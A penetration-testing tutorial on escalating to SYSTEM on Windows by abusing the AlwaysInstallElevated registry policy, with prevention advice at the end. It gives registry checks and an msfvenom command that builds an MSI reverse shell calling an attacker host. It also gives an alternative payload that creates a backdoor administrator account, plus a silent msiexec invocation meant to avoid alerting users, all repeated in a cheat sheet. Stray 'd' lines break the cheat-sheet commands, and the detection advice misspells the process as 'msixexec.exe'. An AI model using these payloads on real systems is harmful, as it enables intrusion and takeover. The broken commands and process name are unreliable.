

Windows Privilege Escalation: AlwaysInstallElevated

Your Unquoted Service Paths guide closed by flagging this as a genuinely different mechanism — where that guide exploited a path-PARSING ambiguity, AlwaysInstallElevated exploits a **registry policy misconfiguration** that directly instructs the Windows Installer service to grant elevated privileges to every MSI package it runs, regardless of who's installing it. Worth locking in the distinction immediately: **Part 1 covers what the AlwaysInstallElevated policy actually does and how to confirm both required registry keys are set — Part 2 covers building and deploying the malicious MSI payload**, since this technique, unlike the previous guide, requires almost no discovery/enumeration nuance at all once the two registry values are confirmed — it's one of the most mechanically simple techniques in this entire series when the precondition is met.

1. What the Policy Actually Does — The Foundation

Windows Installer (MSI) packages normally install with the permissions of the user running the installation — a standard user installing software is subject to standard user restrictions, same as any other process. The `AlwaysInstallElevated` policy is an explicit administrative override that changes this:

Normal MSI installation: standard user runs an .msi → installer process runs with STANDARD USER privileges

AlwaysInstallElevated ENABLED: standard user runs an .msi → the Windows Installer service runs the installation with SYSTEM privileges, REGARDLESS of who invoked it - by explicit design, intended for enterprise deployment scenarios where IT wants standard users to be able to install pre-approved, centrally managed software packages without needing local admin rights themselves

The single fact this entire guide exploits — this policy setting doesn't distinguish between "an IT-approved MSI package" and "any arbitrary MSI package a user chooses to run," meaning if the policy is enabled, ANY .msi file — including one an attacker builds themselves containing an arbitrary payload — installs with full SYSTEM privileges, no exploitation cleverness required beyond simply building the malicious package correctly.

PART 1: Confirming the Misconfiguration

2. The Two Required Registry Keys — Both Must Be Set

This policy is controlled by TWO separate registry values, one under `HKEY_LOCAL_MACHINE` (machine-wide policy) and one under `HKEY_CURRENT_USER` (per-user policy) — **both must be set to 1 simultaneously** for the technique to actually work; either one alone is insufficient:

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Both must return:

```
AlwaysInstallElevated    REG_DWORD    0x1
```

If EITHER key is missing, absent, or set to 0, this specific technique is NOT viable, regardless of how the other key is configured - this is the single most important precondition check in this entire guide, and worth confirming explicitly before investing any further effort

3. Why This Requires Both Scopes — The Design Intent Behind the Check

HKLM (machine-wide) scope alone: reflects organizational GROUP POLICY intent, but Windows deliberately requires the CURRENT USER'S own registry hive to ALSO explicitly permit it - a defense-in-depth design choice preventing a machine-wide policy push from silently affecting every user without any per-user acknowledgment layer

This dual-key requirement is precisely why this misconfiguration, while occasionally found in real environments (particularly ones using Group Policy for legitimate enterprise software deployment without fully understanding the security implications), is meaningfully rarer than several other techniques in this series - it requires a SPECIFIC administrative intent to have been configured, not just an accidental oversight

4. Using WinPEAS or a Manual Sweep to Surface This Automatically

```
# WinPEAS (covered in full in the final guide of this series) checks
# both keys automatically as part of its standard registry-policy
# sweep - worth flagging here since this is exactly the kind of
# easily-overlooked-if-checked-manually finding automated
# enumeration tooling excels at catching
```

PART 2: Building and Deploying the Exploit

5. Building a Malicious MSI With msfvenom

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-ip> LPORT=<port> -f msi -o malicious.msi
```

-f msi → output format specifically as a Windows Installer package, rather than a raw .exe - this is the entire point of this technique, since the elevated-installation policy ONLY applies to genuine .msi execution via the Windows Installer service (msiexec.exe), not to arbitrary executables run directly

6. Alternative Payload — Direct Administrator Account Creation

If a full reverse shell isn't necessary/desired for the engagement, a simpler, more surgical payload achieves the same escalation outcome with less footprint:

```
Using a tool like WiX Toolset or msfvenom's custom-command capability to build an MSI that executes:
net user attacker Password123! /add
net localgroup administrators attacker /add
(packaged as the MSI's custom action, rather than a full reverse-shell payload)
```

7. Transferring and Executing the Payload

```
# transfer malicious.msi to the target via your existing foothold's
# available method (same considerations as any file transfer step
# elsewhere in this series), then:

msiexec /quiet /qn /i malicious.msi
```

`/quiet /qn` → suppresses the installer UI entirely, running silently in the background rather than popping a visible installation wizard that could alert a monitoring user - standard practice for this technique specifically, since a visible installer window defeats the purpose in most engagement contexts

8. Confirming Success

```
# if using a reverse shell payload, catch it on your listener;
# if using the account-creation payload:
net user attacker
net localgroup administrators
whoami /priv      # once escalated, confirm elevated context directly
```

9. Testing Methodology

1. Check BOTH required registry keys explicitly (Section 2) - this is a binary go/no-go precondition, not a matter of degree
2. If both are confirmed set, proceed directly to payload construction (Sections 5-6) - there's minimal additional enumeration needed beyond the registry check itself, which is what makes this technique unusually FAST relative to most others in this series once the precondition is met
3. Choose a payload type appropriate to engagement needs (full shell vs surgical account creation) before building
4. Execute via `msiexec` with the silent flags (Section 7) to avoid unnecessary visible artifacts
5. Confirm actual elevation (Section 8) rather than assuming success from the installer completing without error

10. Legal & Ethical Note

Identical baseline authorization requirement to every guide in this series. Building and deploying a genuinely malicious MSI carries the same standard operational-risk considerations as any payload-delivery technique elsewhere in this series - confirm scope explicitly covers deploying executable payloads to the target, not just passive enumeration/discovery.

11. Prevention

- Disable AlwaysInstallElevated - set both registry values to 0 or remove them entirely, unless there is a specific, well-understood organizational requirement for it (directly mirroring the Linux series' repeated "don't disable a safe default without a real reason" pattern, applied here to a Windows-specific policy instead)
- If elevated MSI installation genuinely IS required for legitimate enterprise deployment scenarios, use a properly scoped, centrally managed software deployment solution (SCCM, Intune, Group Policy Software Installation with signed/verified packages) instead of this broad, unrestricted policy toggle
- Regularly audit Group Policy settings across an environment for this and similarly dangerous policy misconfigurations as part of routine security review, not just at initial deployment
- Monitor for unexpected msixexec.exe executions, particularly ones invoked with /quiet /qn flags from non-standard software deployment contexts, as a detection layer complementing the primary prevention fix

12. Practical Lab Example

TryHackMe and HTB both include dedicated AlwaysInstallElevated practice boxes; this is also one of the simplest techniques in the entire series to set up yourself in a lab VM, requiring only two registry edits.

Suggested practice order:

1. On a lab VM, set both HKLM and HKCU AlwaysInstallElevated keys to 1 manually, then confirm via Section 2's query commands
2. Build a simple account-creation MSI payload (Section 6) and deploy it via Section 7's silent msixexec invocation
3. Set only ONE of the two keys (leave the other unset/0) and confirm the identical payload now fails - directly observing Section 3's dual-key requirement in practice

Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

Framework	Mapping
CWE	CWE-269 (Improper Privilege Management), CWE-732 (Incorrect Permission Assignment for Critical Resource - covering the underlying policy misconfiguration specifically)
OWASP Top 10:2025	A02:2025 Security Misconfiguration
CVSS	Critical (PR:L, minimal attack complexity once the precondition is confirmed, C:H/I:H/A:H given the direct SYSTEM-level outcome)
Cyber Kill Chain	Privilege Escalation
MITRE ATT&CK	T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control) — commonly cross-referenced here since AlwaysInstallElevated is frequently catalogued alongside other UAC/elevation-bypass mechanisms despite being its own distinct policy-based technique

Quick Reference Cheat Sheet

CHECK (both required, either alone is insufficient):

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
d
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
d
→ both must show 0x1
```

BUILD:

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o malicious.msi
```

DEPLOY:

```
msiexec /quiet /qn /i malicious.msi
```

CONFIRM:

```
net user attacker ; net localgroup administrators
whoami /priv
```

Root lesson: unlike most of this series, there's no partial exploitability here - AlwaysInstallElevated is a clean binary precondition (both keys set, or not) rather than a graduated enumeration problem, which makes it one of the fastest techniques to both CHECK and EXPLOIT in this entire series once you know exactly which two registry values to query.
